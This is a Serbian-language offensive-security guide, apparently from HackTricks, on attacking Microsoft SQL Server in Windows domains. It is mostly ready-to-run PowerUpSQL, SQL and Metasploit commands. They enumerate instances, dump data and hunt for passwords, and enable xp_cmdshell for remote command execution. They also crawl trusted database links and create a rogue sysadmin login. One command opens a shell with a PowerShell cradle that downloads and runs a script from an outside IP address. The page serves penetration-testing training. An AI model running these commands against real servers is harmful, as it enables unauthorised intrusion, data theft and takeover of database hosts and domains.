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{% embed url="https://websec.nl/" %} ## **MSSQL Enumeration / Discovery** PowerShell modul [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) je veoma koristan u ovom slučaju. ```powershell Import-Module .\PowerupSQL.psd1 ``` ### Enumeracija sa mreže bez domen sesije ```powershell # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo #If you don't have a AD account, you can try to find MSSQL scanning via UDP #First, you will need a list of hosts to scan Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10 #If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them #The discovered MSSQL servers must be on the file: C:\temp\instances.txt Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` ### Enumeracija iznutra domena ```powershell # Get local MSSQL instance (if any) Get-SQLInstanceLocal Get-SQLInstanceLocal | Get-SQLServerInfo #Get info about valid MSQL instances running in domain #This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance) Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose #Test connections with each one Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose #Try to connect and obtain info from each MSSQL server (also useful to check conectivity) Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose # Get DBs, test connections and get info in oneliner Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo ``` ## MSSQL Osnovna Zloupotreba ### Pristup DB ```powershell #Perform a SQL query Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername" #Dump an instance (a lotof CVSs generated in current dir) Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql" # Search keywords in columns trying to access the MSSQL DBs ## This won't use trusted SQL links Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize ``` ### MSSQL RCE Možda će biti moguće **izvršiti komande** unutar MSSQL hosta ```powershell Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` Check in the page mentioned in the **following section how to do this manually.** ### MSSQL Osnovne Hacking Tehnike {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) {% endcontent-ref %} ## MSSQL Pouzdane Povezane Baze Ako je MSSQL instanca pouzdana (povezana baza podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad pouzdanom bazom podataka, moći će da **iskoristi odnos poverenja da izvrši upite i u drugoj instanci**. Ove veze poverenja mogu se povezivati i u nekom trenutku korisnik može pronaći neku pogrešno konfigurisanu bazu podataka gde može izvršavati komande. **Povezane baze funkcionišu čak i preko šuma poverenja.** ### Zloupotreba Powershell-a ```powershell #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 #Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified) Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose #If you are sysadmin in some trusted link you can enable xp_cmdshell with: Get-SQLServerLinkCrawl -instance "" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT ""' #Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'" #Obtain a shell Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"' #Check for possible vulnerabilities on an instance where you have access Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local" #Try to escalate privileges on an instance Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1" #Manual trusted link queery Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')" ## Enable xp_cmdshell and check it Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');' Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]' Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]' ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` ### Metasploit Možete lako proveriti pouzdane linkove koristeći metasploit. ```bash #Set username, password, windows auth (if using AD), IP... msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` Napomena da će metasploit pokušati da zloupotrebi samo `openquery()` funkciju u MSSQL (tako da, ako ne možete da izvršite komandu sa `openquery()`, moraćete da pokušate `EXECUTE` metodu **ručno** da izvršite komande, više informacija u nastavku.) ### Ručno - Openquery() Sa **Linux**-a možete dobiti MSSQL konzolnu ljusku sa **sqsh** i **mssqlclient.py.** Sa **Windows**-a takođe možete pronaći linkove i izvršiti komande ručno koristeći **MSSQL klijent kao** [**HeidiSQL**](https://www.heidisql.com) _Prijavite se koristeći Windows autentifikaciju:_ ![](<../../.gitbook/assets/image (808).png>) #### Pronađite pouzdane linkove ```sql select * from master..sysservers; EXEC sp_linkedservers; ``` ![](<../../.gitbook/assets/image (716).png>) #### Izvršavanje upita u pouzdanoj vezi Izvršite upite putem veze (primer: pronađite više veza u novoj dostupnoj instanci): ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` {% hint style="warning" %} Proverite gde se koriste dvostruki i jednostruki navodnici, važno je koristiti ih na taj način. {% endhint %} ![](<../../.gitbook/assets/image (643).png>) Možete ručno nastaviti ovu vezu pouzdanih linkova zauvek. ```sql # First level RCE SELECT * FROM OPENQUERY("", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''') # Second level RCE SELECT * FROM OPENQUERY("", 'select * from openquery("", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')') ``` Ako ne možete izvršiti akcije poput `exec xp_cmdshell` iz `openquery()`, pokušajte sa metodom `EXECUTE`. ### Ručno - EXECUTE Takođe možete zloupotrebiti poverljive veze koristeći `EXECUTE`: ```bash #Create user and give admin privileges EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` ## Lokalna Eskalacija Privilegija **MSSQL lokalni korisnik** obično ima posebnu vrstu privilegije nazvanu **`SeImpersonatePrivilege`**. Ovo omogućava nalogu da "imituje klijenta nakon autentifikacije". Strategija koju su mnogi autori smislili je da primoraju SYSTEM servis da se autentifikuje na zlonameran ili man-in-the-middle servis koji napadač kreira. Ovaj zlonamerni servis tada može da imitira SYSTEM servis dok pokušava da se autentifikuje. [SweetPotato](https://github.com/CCob/SweetPotato) ima kolekciju ovih različitih tehnika koje se mogu izvršiti putem Beacon-ove komande `execute-assembly`.
{% embed url="https://websec.nl/" %} {% hint style="success" %} Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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